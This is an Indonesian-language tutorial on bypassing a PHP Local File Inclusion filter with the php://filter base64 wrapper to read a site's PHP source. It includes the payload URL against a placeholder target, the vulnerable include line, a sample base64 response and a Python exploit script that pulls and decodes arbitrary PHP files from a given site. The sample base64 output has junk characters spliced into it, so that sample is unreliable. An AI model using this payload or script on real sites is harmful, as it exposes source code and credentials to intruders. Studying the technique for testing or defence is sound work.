Jenis jenis LFI muncul dalam berbagai jenis terutama pada contoh kasus ini target mematikan mod allow_url_include dan dibanding menggunakan include, target menggunakan require_once dan script harus di append menggunakan .php extension pada akhir file.
jadi mau bagaimanapun dicoba exploit basic LFI, bakal muncul return null, dikarenakan dia menggunaakn require_once dan script di append paksa dengan akhir ekstension .php
contoh
http://target.web/page=index
dimana target mempunyai valid file
http://target.web/index.php
jadi bagaimana buat solve masalah ini ?
sebelumnya harus di penuhi beberapa kebutuhan ini :
- File harus valid PHP syntax
- file yang di load harus mempunyai akhiran ekstensi PHP
so untuk load file index.php pake
php://filter/convert.base64-encode/resource=index
jadi nya kek gini
http://target.web/page=php://filter/convert.base64-encode/resource=index
bisa return
PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGdsfgdsfgVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0dsfgdsfgtJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwsdfsdfvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEsadfsdfgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=
kenapa bug ini bisa muncul ? bug ini muncul pada kesalahan coding yang berakibat fatal, pada bagian ini muncul kesalahan yang berakibat fatal.
if (isset($action)) include $action.".php";
sedangkan fungsi php://filter/convert.base64-encode/resource= sendiri hanyalah sebagai encoding untuk memfilter, tapi kenyataannya dapat dimanfaatkan oleh hacker untuk mengekstrak file script php.
and now implementasi ke dalam bentuk pythonnya seperti ini
# namafile.python "vuln site" "nama file"
from requests import session
from bs4 import BeautifulSoup
import sys, base64
target = "target"
with session() as c:
scriptPHP = "%s%s" %("php://filter/convert.base64-encode/resource=", sys.argv[2])
response = c.get('%s%s' % (sys.argv[1], scriptPHP))
soup = BeautifulSoup(response.text, 'html.parser')
parsed = BeautifulSoup(str(soup.select(".page-content")[0]), 'html.parser')
print base64.b64decode(parsed.get_text())